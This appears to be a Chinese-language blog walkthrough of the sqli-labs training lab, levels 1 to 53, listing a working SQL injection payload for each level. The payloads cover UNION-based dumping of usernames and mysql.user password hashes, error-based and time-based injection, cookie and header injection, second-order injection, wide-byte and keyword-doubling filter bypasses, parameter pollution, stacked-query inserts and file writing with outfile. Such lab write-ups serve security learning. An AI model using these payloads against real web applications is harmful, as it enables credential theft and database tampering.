sqli-labs闯关记录1-53

sqli-labs闯关记录1-53

order by 4 ¬¬ ¬
判断有多少列

union select 1,2,3 ¬¬ ¬
判断数据显示点

union select 1,user(),database()¬¬
¬显示出登录用户和数据库名

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3
查看数据库有哪些表

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’ ),3
查看对应表有哪些列

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
查看账号密码信息

waf绕过
select * from user where id=1<位置1>union<位置2>select<位置3>1,2,table_name<位置4>from<位置5>information_schema.tables···
/!50553select user()/ ----------mysql(独有)内联注释,!后面的数字是版本号,表示当数据库版本>=5.5.53时执行SQL语句
/**/ ---------------------------mysql多行注释
%09,%0a,%0b,%0c,%0d,%20,%a0----------- 一些空白字符
1.1、2.3、1. ---------------------------------------浮点数形式
0e1、1e7--------------------------------------------科学计数法
+、-、!、@、~、{}、"、’、()、`` -------------一些特殊字符

  1. 修改源代码,在sql后输入echo “sql语句:”."$sql"."
    ";可以查看执行语句。按照页面提示输入?id=1,出现用户名密码,输入and 1=2,页面正常,在之后输入单引号页面出现LIMIT 0,1,则表明存在字符注入,使用–将后面语句注释掉。但是在执行的时候是不成功的,查到发送数据时会urlencode编码一下,可以将#号转为%23执行成功,使用联合查询id=1’ union select * from users,可以看到数据库为security,查询语句使用id=1’ union select * from security.users LIMIT 1,2 %23就可以看到其他人用户明和密码。使用id=1’union select 3,user,password from mysql.user limit 1,5%23可以看到数据库用户名和密码的hash值。
  2. 输入id=1,页面显示正常,输入id=11页面不正常,存在数值型注入,可以使用题目1中的语句进行注入。
  3. 使用’发现其存在括号闭合现象,将括号闭合后使用1中的语句进行注入。
  4. 使用’正常,使用”时页面显示不正常,于是使用(“”)的方式进行注入。
  5. 当id=9时页面无消息,使用’页面显示不正常,说明时放在单引号中,使用联合查询无法注入,使用extractvalue进行尝试,直接爆数据id=1’ or extractvalue(1,concat(0x7e,(select concat_ws(":",user,password) from mysql.user limit 0,1))) %23
  6. 按照第六题思路单引号改双引号,完成注入。
  7. 使用id=1提示使用outfile,想了一下应该时往服务器写入文件,然后用菜刀去扫描,使用单引号页面显示不正常,第一次尝试直接复制路径下来失败了,应该时权限问题,使用show variables like '%secure%'查看为null,需要设置一下,在mysql.ini找一下secure_file_priv,发现没有找个地方添加一下,将路径中\改为\,成功写入并成功支持php语句。
  8. 按照上一题思路进行尝试,上转成功,只需要将))去掉就可以。
  9. 尝试之前的方法无效之后使用sleep延时注入,发现可以,id=1’and sleep(5), and if((length(database())=8),sleep(5),0)猜库名长度,等于8时有延时,测试了几次,发现页面无输出,去修改了一下源代码,使页面有输出之后,使用语句id=1’ AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) union select 3,user,password from mysql.user LIMIT 1,5 %23可以看看用户密码的hash值。
  10. 参照上一题将单引号变为双引号就可以执行。
  11. 查看发送的请求为uname=root&passwd=root&submit=Submit,在uname加上’,出现报错,猜测应该是pwssword后的’引起的,可以在passwd后面加上引号,使用语句uname=Dumb&passwd=Dumb%27 union select user,password from mysql.user limit 1,5%23&submit=Submit可以看到数据库用户名和密码的hash。
  12. 按照上一题思路,将单引号改为”之后出现报错并且携带括号,可以使用passwd=Dumb") union select user,password from mysql.user limit 1,5%23,成功执行。
  13. 按照上一题的思路将双引号改为单引号,执行,但是五输出,查看了一下代码,因为输出被注释了,将注释去掉之后执行passwd=Dumb%27) union select user,password from mysql.user limit 1,5%23。之后测试了一下,这里还存在布尔注入,时间注入等
  14. 使用双引号在passwd后面的时候出现报错,直接进行注入passwd=Dumb" union select user,password from mysql.user limit 1,5%23,执行成功,这里uname与passwd都存在注入点。
  15. 尝试使用布尔型注入,or 1=1 ,成功,使用passwd=Dllumb’ or 1=1 union select user,password from mysql.user limit 8,15%23可以拿到root密码。也存在时间注入。
  16. 按照前一题思路,猜测应是双引号引起,多次测试之后,使用passwd=Dumb") or 1=1 union select user,password from mysql.user limit 8,15%23可以拿到root密码,需要将源代码的输出打开。
  17. 根据提示,应只存在password注入,后台跟新语句则应该是updata,尝试使用延时注入,发现可以,passwd=Dumb’ AND (SELECT * FROM (SELECT(SLEEP(5)))a)%23
  18. 尝试多次方法没什么用,在网上看了一下解析之后,说是http头注入,这还是第一次看到,输入用户名密码后不对,之后才看数据库发现密码被改为0了,使用1’在agent中之后出现报错,则应该是单引号注入,使用火狐插件hackbar无法修改agent,只能用截包工具了。使用语句’ and extractvalue(1,concat(’~’,(select database()))) and ‘1’='1,就可以得到数据库的表名。
  19. 输入用户名密码之后提示是referer,输入单引号之后出现不比配的情况,直接使用上一题的语句能够看到数据库表名。
  20. 使用Dumb一直登陆不上,去查数据使用其它账户admin可以登录,应该是cookie存在注入,还是使用上一题的语句可以注入成功。
  21. 根据提示还是cookie注入并且进行了base64转码,使用语句’) union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3#可以看用户名和密码。
  22. 根据提示将单引号改为双引号去掉括号就可以。
  23. Error Base。根据提示知道时错误型注入。payload:?id=1,可以出现用户名密码,使用%23 --+(#)等等好像都被过滤了。使用’"等都在前面加了一个\,经过多次测试发现无法绕过,从GET[‘id’]开始就被转义,猜测可能时版本的问题,修改版本为php7.2.10-nts+ngnix,之后使用id=1’出现报错,之后使用payload:?id=-11’ or ‘1’='1,成功显示,接下来就简单了,payload:?id=-1’union select 1,(select user from mysql.user limit 0,1),'3,可以爆出root.
  24. 按照提示,我们使用一个正确的用户进行登录。试了一下,不知道怎么做,查看首页提示二次注入,在网上看,需要先进行注册,/sqli-labs/Less-24/new_user.php,该页面为注册页面,使用admina’#进行注册,之后查看数据库,存在我们注册的用户。sqli-labs闯关记录1-53_第1张图片之后返回登陆页面,发现无法进入index.php页面,应该时缓存问题,清除一下缓存就可以。之后使用我们注册的用户进行登陆,进行密码修改,成功之后查看数据库。
    sqli-labs闯关记录1-53_第2张图片发现我们修改的时admin的密码。原理语句.sql:updata user set password=“000000” where username=‘admin’# ‘adn password=“0000000”.意思就是我们注册的admin’#中的#对之后的语句进行注释。
  25. 使用payload:?id=1’,出现报错,应时单引号闭合,首页提示进行了一些过滤,尝试使用大小写混合的方式重复等形式。payload:??id=-1’ oorr ‘1’=‘1,可以成功。payload:?id=-1’ union select 1,database(),3 anandd ‘1’='1。可以爆出数据库名称。25a。暂时未下载到。
  26. 使用payload:?id=1’。出现报错,连接到为单引号闭合。但是根据提示许多字符被过滤。尝试使用双写进行注入。payload:?id=-1’ oorr ‘1’=‘1。成功得到结果。但是使用%a0,%0b等等均未执行成功,可能时版本问题,切换了几次也未能执行成功。26a测试了几次未能成功,查看了一下提示页面,发现时对id加入括号处理。payload:?id=-1’) oorr ‘1’=('1。使用sqlmap --level 5,未能都够扫描到注入点。
  27. 正常使用payload:?id=1能够正常出现,使用id=-1依然能够正常执行,使用id=1’出现报错,说明是单引号闭合,在查询重发现union,select被过滤了,可以使用大小写、重复等进行注入。php5.4.45+apache payload:?id=999’%0Aununionion%0Aselselselectectect%0A1,database(),3||‘1’='1。sqli-labs闯关记录1-53_第3张图片27a. 根据提示将单引号变未双引号成功执行。payload:?id=999"%0Aununionion%0Aselselselectectect%0A1,database(),3||“1”="1sqli-labs闯关记录1-53_第4张图片
  28. 正常使用payload:?id=1,正常显示,但是好像报错语句没有被输出,使用id=1’未出现报错,也未执行成功,使用union、select好像被过滤了,使用payload:?id=999’%0Aunionunion%0Aselect%0Aselect%0A1,database(),3||‘1’=‘1,好像并未执行成功,猜测可能是括号问题,使用payload:?id=999’)%0Aunionunion%0Aselect%0Aselect%0A1,database(),3||‘1’=(‘1成功爆出数据库名称,sqli-labs闯关记录1-53_第5张图片28a,使用payload:?id=999’)%0Aunionunion%0Aselect%0Aselect%0A1,database(),3||‘1’=('1成功爆出数据库名称。
  29. 按照正常的输入payload:?id=1,能够正常输出,加上单引号出现报错,说明是单引号闭合。题目提示错误注入,存在waf.payload:?id=999’ union select 1,database(),3 or ‘1’='1。成功了sqli-labs闯关记录1-53_第6张图片那么题目中说的waf呢?尝试去寻找一番。文件中除了index.php之外,还存在login.php、hacked.php前去访问login.php。payload:?id=1。页面正常显示。连接一下waf,首先WAF(Web Application Firewall),俗称Web应用防火墙,主要的目的实际上是用来过滤不正常或者恶意请求包,以及为服务器打上临时补丁的作用。而我们要做的最重要的就是:重点关注的是绕过WAF对空格的过滤。先来研究一条语句:select * from user where id=1<位置1>union<位置2>select<位置3>1,2,table_name<位置4>from<位置5>information_schema.tables···,标注出来的位置就是我们要进行替换的。来看看mysql中的查询,正常查询:sqli-labs闯关记录1-53_第7张图片
    接下来看一下非正常查询时mysql进行的转义:(内容开头说过)sqli-labs闯关记录1-53_第8张图片sqli-labs闯关记录1-53_第9张图片
    其它方式其其它位置可以自己去验证,有些位置某些方法不可用。接下来进入正题,注入失败之后会进行页面跳转,修改一下源代码login.php中//header(‘Location: hacked.php’);。注入失败之后不会跳转了。尝试了几次也无法注入,查看了一下源代码,主要意思时:获得第一个ID之后,进行正则比配,比配规则是:"/^\d+$/"–>以数字开头的一个或多个数字且以数字结尾的字符串,之后之后以&作为分割符得到第二个id,而我们的注入点就是第二个id.payload:?id=1&id=-1%27union select 1,database(),3%27
  30. index.php未做任何过滤。payload:?id=-1" union select 1,database(),3 “。成功注入,按照这个思路,将login.php页面的注入使用29题的语句,将单引号转为双引号,这里不爆从数据库名了,爆数据库登录用户名及密码。payload:?id=2&id=-1” union select 1,(select group_concat(concat_ws(0x7e,user,password))from mysql.user),3"sqli-labs闯关记录1-53_第10张图片
  31. 按照提示是“)注入,index.php页面payload:?id=-1")union select 1,database(),(“3。成功爆出数据库名称。login.php页面,按照login.php的规则,只需要在前一题的基础只是加上括号就可以。payload:?id=2&id=-1”)union select 1,(select group_concat(concat_ws(0x7e,user,password))from mysql.user),("3。sqli-labs闯关记录1-53_第11张图片
  32. 页面提示会进行16进制转义,应该是转义了单引号,双引号等等字符,都在这些字符前面加入\,多次尝试之后注入都不成功,使用宽字节注入,原理:前面使’转义未\‘,宽字符是使用一个字符与’结合,是单引号前面的\与前一个字符转义为汉字,从而达到单引号起作用的目的。payload:?id=999%df’ union select 1,database(),3%23。sqli-labs闯关记录1-53_第12张图片
  33. 提示是通过特定函数。使用宽字节注入即可。可以使用32题注入语句。
  34. 类似之前的语句,只不过这里是post表单提交。payload:uname=誠’ or 1=1 union select database(),2 limit 15,50%23&passwd=aaa&submit=Submit
  35. 根据提示为数值注入,构造payload:?id=-1 union select 1,database(),CURRENT_USER()。sqli-labs闯关记录1-53_第13张图片
  36. 根据提示,使用了mysqli_real_escape_string函数,只需绕过改函数即可,使用宽字节%df’,出现报错。payload:?id=-1%df%27union%20select%201,database(),CURRENT_USER()%20%23sqli-labs闯关记录1-53_第14张图片
  37. 同样是mysqli_real_escape_string函数绕过,只不过是需要post提交。payload:uname=誠%27union select database(),CURRENT_USER()%23&passwd=admin&submit=Submit。sqli-labs闯关记录1-53_第15张图片
  38. 直接构造payload:?id=-1’ union select 1,database(),CURRENT_USER() %23。成功执行。sqli-labs闯关记录1-53_第16张图片但是我觉得不应该这么简单,去看了一下源代码。使用了mysqli_multi_query函数,个人理解为堆叠注入。意思很简单,同时与union的区别就是,union查询语句有限,而堆叠则可以加入分号之后加入新的语句。构造语句,payload:?id=-1’ union select 1,database(),CURRENT_USER();insert into users values(17,“zhaogy”,“test”)%23。之后查看数据库如下:sqli-labs闯关记录1-53_第17张图片
  39. payload:?id=1,但是没有回显,直接构造试试。payload:?id=1;insert into users values(39,“zhaogy_test”,“zhaogy_test”)%23sqli-labs闯关记录1-53_第18张图片很奇快为什么没有输出用户名,去源代码探究一番。看了一下应正常才是,最后发现原来是数据库中users表中的id=1没有,之前被删掉了,把id改为存在的就可以了,例如id=5。
  40. 提示:盲注-字符型,应该是单引号双引号括号之类的。多次测试之后发现payload:?id=3’) union select 1,2,(‘3可以会先成功,说明是括号加单引号。构造payload:?id=3’);insert into users values(40,“zhaogy_test”,“zhaogy_test”)%23。查看数据库:sqli-labs闯关记录1-53_第19张图片
  41. 提示:盲注-数值型。payload:?id=-3 union select 1,database(),CURRENT_USER()。可以成功显示。当然也可以使用堆叠注入,也能成功。sqli-labs闯关记录1-53_第20张图片堆叠注入。payload:?id=-3 union select 1,database(),CURRENT_USER();insert into users values(41,“zhaogy_test”,“zhaogy_test”)%23。sqli-labs闯关记录1-53_第21张图片
  42. 应该存在两个注入点,name、password,在name尝试了几次没有成功,将目标转移到password.构造payload:login_password=admin’;insert into users values(42,“zhaogy_42”,“zhaogy_43”) #,但是在Hackbar中尝试了多次,未能够成功,最后在请求包中查看,原来是被转义了。最后直接在输入框中输入即可。sqli-labs闯关记录1-53_第22张图片
  43. 尝试继续在password中注入,加上单引号出现报错。如下:sqli-labs闯关记录1-53_第23张图片很简单了,应是比上一题多加一个括号而已。同样在hackbar中测试失败,在输入框中注入成功。sqli-labs闯关记录1-53_第24张图片
  44. 输入正确的用户进入改密码界面,输入错误则进入提示页面,但是使用各种特殊符号页面都不提示错误信息,应是后台没有输出语句输出错误信息。按照之前的题目,不在hackbar里面请求了,直接在输入框中输入,开始进尝试进行注入。payload:login_password=admin’;insert into users values(44,“zhaogy_44”,“zhaogy_44”);%23。这里面有一个地方需要注意,如果登录不成功,我这边无法注入进去,只有用户名与密码正确才能注入。sqli-labs闯关记录1-53_第25张图片
  45. 按照42,43题的方式,再看44,45题,这题依然没有错误提示,应该是加了括号与单引号。payload:login_password=admin’);insert into users values(45,“zhaogy_45”,“zhaogy_45”);%23。sqli-labs闯关记录1-53_第26张图片
  46. 题目提示为order by注入,我们先来看看order by是怎么注入的,正常语句select * from users order by id desc;其中desc是可控的,order by基于错误注入:select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));基于错误注入payload:?sort=id and(updatexml(1,concat(0x7e,(select database())),0))sqli-labs闯关记录1-53_第27张图片
  47. 根据提示有string应该是单引号,括号等,测试后为单引号。payload:?sort=id’ and(updatexml(1,concat(0x7e,(select database())),0))%23sqli-labs闯关记录1-53_第28张图片也可以获取其它数据。payload:?sort=id’ and(updatexml(1,concat(0x7e,(select system_user())),0));%23sqli-labs闯关记录1-53_第29张图片
  48. 数值型注入。这题控制desc没法输出,那就去控制id吧。去猜数据库名第一个字符。payload:?sort=rand(ascii(left(database(),1))=178)sqli-labs闯关记录1-53_第30张图片
  49. 提示string,尝试多次未成功。参考网上说是只能延时注入,或者使用into outfile.使用延时注入做演示。payload:?sort=1’ and (if(ascii(left(version(),1))=5,0,sleep(5)));在这里插入图片描述
    payload:?sort=1’ and (if(ascii(left(version(),1))=5,0,sleep(0.05)));sqli-labs闯关记录1-53_第31张图片
  50. 根据提示堆叠注入,可以执行多条语句。payload:?sort=id;insert into users values(50,“zhaogy_50”,“zhaogy_50”);sqli-labs闯关记录1-53_第32张图片
  51. 提示字符型。payload:?sort=id’;insert into users values(51,“zhaogy_51”,“zhaogy_51”);sqli-labs闯关记录1-53_第33张图片
  52. 53.同50.51可以注入。没有回显。payload:?sort=id;insert into users values(52,“zhaogy_52”,“zhaogy_52”);sqli-labs闯关记录1-53_第34张图片payload:?sort=id’;insert into users values(53,“zhaogy_53”,“zhaogy_53”);sqli-labs闯关记录1-53_第35张图片

你可能感兴趣的:(SQL注入学习)